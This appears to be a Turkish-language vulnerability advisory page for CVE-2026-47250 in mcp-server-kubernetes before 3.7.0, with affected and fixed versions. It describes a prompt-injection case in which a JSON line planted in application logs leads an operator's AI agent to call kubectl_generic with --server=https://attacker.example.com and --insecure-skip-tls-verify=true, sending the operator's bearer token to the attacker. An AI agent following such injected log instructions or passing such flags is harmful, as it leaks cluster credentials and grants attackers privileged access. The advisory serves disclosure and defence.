CVE-2026-47250
Açıklama
mcp-server-kubernetes, Kubernetes küme yönetimi için bir Model Context Protocol sunucusudur. Versiyon 3.7.0 öncesinde, mcp-server-kubernetes içindeki kubectl_generic aracı, kullanıcı tarafından sağlanan bayrakları herhangi bir izin listesi olmadan doğrudan kubectl'e ileterek Kubernetes ortamlarında yetki yükseltme saldırısına olanak tanır. Örneğin, pod dağıtım izinlerine sahip ancak cluster-admin kimlik bilgilerine sahip olmayan bir geliştirici gibi halihazırda sınırlı küme veya kod tabanı erişimine sahip bir saldırgan, bir uygulamanın günlük çıktısına tek bir yapılandırılmış JSON satırı yerleştirebilir. Ayrıcalıklı bir kubeconfig dosyasına sahip bir operatör, bu günlükleri okumak için MCP sunucusunu kullandığında ve yapay zeka ajanı enjekte edilen talimatı takip ettiğinde, kubectl_generic aracı --server=https://attacker.example.com ve --insecure-skip-tls-verify=true parametreleriyle çağrılır. kubectl, operatörün kubeconfig dosyasındaki Authorization: Bearer <token> başlığı da dahil olmak üzere tüm API isteklerini saldırganın uç noktasına gönderir. Ele geçirilen belirteç daha sonra doğrudan gerçek Kubernetes API sunucusuna karşı yeniden kullanılarak saldırgana, operatörün servis hesabının tam RBAC izinlerini sağlar. Bu sorun versiyon 3.7.0 ile düzeltilmiştir.
Nasıl düzeltilir
- mcp-server-kubernetes3.7.0 ya da sonraki bir sürüm
Etkilenen ürünler
| Ürün | Etkilenen sürümler | Düzeltildiği sürüm |
|---|---|---|
| mcp-server-kubernetesnpm | v < 3.7.0 | 3.7.0 |
Sürümünüzü kontrol edin
Ürünü seçin ve kullandığınız sürümü yazın; sürümün etkilenen aralıkta olup olmadığını görün.
Attack Surface Management
Alan adlarınıza bağlı varlıkları, bu varlıklarda çalışan teknolojileri ve bilinen zafiyetleri tek listede görün.